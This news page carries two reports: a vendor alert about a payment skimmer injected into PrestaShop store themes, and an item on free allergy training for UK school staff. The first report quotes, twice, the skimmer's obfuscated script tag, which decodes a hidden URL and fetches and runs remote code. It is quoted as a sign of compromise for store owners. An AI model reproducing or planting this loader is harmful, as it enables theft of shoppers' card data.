Security Alert - PrestaShop Business Platform users are being advised to check of your online store

WITH nearly 250,000 sites already using its software across the globe, PrestaShop is the leading open source ecommerce solution in Europe and Latin America.

Starting from November 2021 PrestaShop, became part of the global family of Fortidia to accelerate its growth and become together the leading global ecommerce and logistics platforms for businesses. But, PrestaShop's official headquarters is still in Paris, France.

In 2024, PrestaShop sites generated more than 22 billion euros in online sales.

Today, many small and even some large business within the UK now user its sales ecosystem to have an online trading presence.

This week they have identified a major use and are contacting is users to advise them to check for a malicious script which acts as a:- "digital skimmer."

In a post to clients they are warning that if the clients online shop has been affected by the script which they have recently identified a security threat, it might have resulted in the theft from some of your customers' payment information.

PrestaShop said:- "We have recently identified a security threat affecting certain online stores within the our PrestaShop ecosystem. This malware works by replacing legitimate payment buttons on the checkout page with fraudulent buttons. When a customer clicks one of these fake buttons, they are redirected to a counterfeit payment form designed to capture their payment information. The skimmer is simply loaded via a <script> tag, written directly into the _partials/head.tpl file of the store's active theme. This means the attacker was able to modify a file in the store. If you are a client using our online shopping platform, you can check your front office code by inspecting a page on your site (right-click, then "inspect"). Look inside the:- <script> tag. If you find the following code, it means your store is impacted:- <script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script>"

They continued saying:- "Please note that the:- aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz part changes each time, but the code structure remains the same, and the:- atob() function is always used. There may be code before or after (the skimmer tries to disguise itself by being slightly different on each store). If you prefer to check your files, you can find the same script tag in a file on your server. Connect to your server via FTP then navigate through the theme folder, then the active:- theme folder > template folder > _partial folder > head.tpl. On this file, right-click then "view/edit" and look for the same tag:- <script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script>"

Responding to questions asking what a client should do if it's found, they suggest you contact your agency or contact PrestaShop support for help.

PrestaShop explained that:- "As data controllers within the meaning of GDPR, it is your responsibility to assess whether a data breach has occurred and, if so, to carry out the required notifications. In accordance with Articles 33 and 34 of the GDPR, any breach likely to result in a risk to rights and freedoms must be reported to the CNIL within 72 hours, and to the affected individuals in the event of a high risk (a practical guide is available on the CNIL website)."

PrestaShop added:- "At this stage, we strongly recommend that you contact your PrestaShop expert agency or PrestaShop Support https://help-center.prestashop.com/hc/en-us/articles/33259937046034-Security-Alert-Recommended-Check-of-Your-Stores?utm_campaign=26061922-Security&utm_medium=email&_hsenc=p2ANqtz-_Qignd891-KVYQwQTjx7SKqq7YrxgYRVeCebl-RhJc-ONJDF6SQDZGkMZnlZe5F7yuo2BlJm9eRF4aa6DH_RZogvXHL4zxwYZTuj_nLqzjwSDKgYY&_hsmi=403312027&utm_content=403312027&utm_source=hs_email as soon as possible to perform a thorough security check of your store and ensure it has not been compromised. You can also check our incident update page https://help-center.prestashop.com/hc/en-us/articles/33259937046034-Security-Alert-Recommended-Check-of-Your-Stores?utm_campaign=26061922-Security&utm_medium=email&_hsenc=p2ANqtz-_Qignd891-KVYQwQTjx7SKqq7YrxgYRVeCebl-RhJc-ONJDF6SQDZGkMZnlZe5F7yuo2BlJm9eRF4aa6DH_RZogvXHL4zxwYZTuj_nLqzjwSDKgYY&_hsmi=403312027&utm_content=403312027&utm_source=hs_email for further details on the situation. Our technical teams are actively investigating the origin of this attack and are taking all necessary measures to prevent further impact. We thank you for your vigilance and cooperation."

If you have been affected by this issue, please let or Newsroom know by emailing us at:- News24@SouthportReporter.Com

E-learning leaders High Speed Training certify 16,000 education professionals with free allergy training

HIGH Speed Training, a leading provider of online training and e-learning, has reached the milestone of certifying over 16,000 learners through its free Allergy & Anaphylaxis courses for Schools and education organisations across the UK.

Created in partnership with industry experts, this course equips School staff with the confidence to recognise, prevent, and respond to allergic reactions. It outlines the most common allergens and the risk they pose in a School setting, as well as the procedures that Schools should have in place to manage allergy risks.

The course is officially supported by the Natasha Allergy Research Foundation, an organisation dedicated to safeguarding children with allergies. Tanya Ednan Laperouse OBE, Founder and Trustee of the Foundation, emphasises that allergy awareness is a critical responsibility for every adult in a School setting.

Tanya Ednan-Laperouse OBE (Natasha Allergy Research Foundation Founder & Trustee) says:- "Everybody in Schools needs to understand how to safeguard allergic children. We need training for everybody in Schools, so it's not the parents having to tell teachers how to keep their child safe. How can we expect people to safely look after children in their care if they're not given the tools and resources with which to do it?"

Jan Parnell, Director of Education at the Natasha Allergy Research Foundation, adds:- "Making sure that the whole School has allergy awareness training is essential. And particularly knowing how to respond to an allergy emergency. It's sort of a non-negotiable really for all staff. So we've created really good high quality resources, free to Schools so that they can be supported in their safeguarding and also supported in their inclusive practice."

The free course was created with Natalie Hopkins, Allergy Trainer and Founder of The Allergy Badge. A parent to a child with life-threatening allergies herself, Natalie is a dedicated allergy and anaphylaxis trainer and is accredited in anaphylaxis by the Royal College of Nursing.

Expert advice was also provided by Dr Jos� Costa MD FRCPCH, a Paediatric Allergy Consultant with over 16 years of experience. Dr Costa holds a postgraduate certificate in Paediatric Allergy from Imperial College London and is a fellow of the Royal College Of Paediatrics and Child Health and a member of the British Society of Allergy and Clinical Immunology.

The comprehensive Allergy and Anaphylaxis for Schools course provides staff with the confidence to:-

Identify common allergens and recognise the signs of life threatening anaphylaxis.
Respond effectively in emergencies, including:- the proper administration of adrenaline auto injectors.
Understand the wider impact of allergies, including:- mental health effects and:- "allergy bullying."
Implement robust Policies and documentation to ensure inclusive practice.

Gareth Greenwood, Strategic Partnerships Lead, at High Speed Training, said:- "Reaching 16,000 certified learners is a testament to the urgent need for this training, but it is also a reminder of the scale of the challenge we face in keeping children safe. We have created an expert-led course that will equip School staff with the knowledge and confidence to create safe environments for children and young people. Teachers and educators are on the frontline when it comes to managing student health, and we know how challenging this can be, from both a workload and a budgetary perspective. By offering this course free of charge, we want to ensure that as many people as possible have access to this vital knowledge, removing the barriers to safety and ensuring that no School is left behind due to a lack of resources."

The course, which is assured by City & Guilds and accredited by CPD, can be taken for free by all UK education staff, and can be found by visiting High Speed Training's Allergy & Anaphylaxis for Schools course

Alongside the free Allergy course, High Speed Training have created a free Safeguarding INSET pack, including:- advice on how to identify and report potential abuse and tips to create an effective safeguarding culture. The free pack, which has been short listed for a Teach Award and is fully customisable to suit all Schools and age groups, can be downloaded by visiting:- HighSpeedTraining.Co.UK.

The Natasha Allergy Research Foundation also offers its:- 'Allergy School,' supported by His Majesty the King and closely involved with the King's Foundation. The Allergy School is a free toolkit designed to transform understanding of food allergies, helping children, Teachers, and club leaders feel more confident around them. High Speed Training's course is included within the toolkit.

A registered B-Corp, High Speed Training has also donated over 240,000 breakfasts to Schoolchildren across the UK in partnership with Magic Breakfast, a charity that provides free breakfasts to children at their Schools.

What are your thoughts on this news topic? Email our Newsroom at:- News24@SouthportReporter.Com or send us a message on:- Mastodon, Facebook, or Twitter. Please do let us know as we love to hear your views....

News reports located on this page = 2.

Security Alert - PrestaShop Business Platform users are being advised to check of your online store

E-learning leaders High Speed Training certify 16,000 education professionals with free allergy training